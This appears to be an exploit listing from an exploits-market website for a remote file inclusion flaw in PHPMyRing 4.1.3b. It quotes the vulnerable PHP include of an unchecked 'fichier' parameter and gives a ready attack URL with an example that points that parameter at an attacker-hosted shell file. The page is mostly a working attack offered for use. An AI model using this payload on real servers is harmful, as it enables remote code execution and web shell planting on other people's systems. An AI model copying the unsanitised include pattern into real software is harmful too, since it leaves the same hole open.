[ authorization ] [ registration ] [ restore account ]
Contact us
You can contact us by:
0day Today Exploits Market and 0day Exploits Database

PHPMyRing <= 4.1.3b (fichier) Remote File Include Vulnerability

Author
ajann
Risk
[
Security Risk Unsored
]
0day-ID
0day-ID-1455
Category
web applications
Date add
31-01-2007
Platform
unsorted
===============================================================
PHPMyRing <= 4.1.3b (fichier) Remote File Include Vulnerability
===============================================================



*******************************************************************************
# Title   :  PhpMyRing <= 4.1.3b (path) Remote File Include Vulnerability
# Author  :  ajann
# Contact :  :(
# $$      :  Free

*******************************************************************************
[[ERROR]]]
..
...
.....
<?
include ($fichier.".php");
?>
..
...
.....

[[ERROR]]]


[[RFI]]]

http://[target]/[path]//lang/leslangues.php?fichier=[SHELL]

Example:

//lang/leslangues.php?fichier=http://[target]/[path]/shell.x

[[/RFI]]

"""""""""""""""""""""
# ajann,Turkey
# ...

# Im not Hacker!



#  0day.today [2024-10-06]  #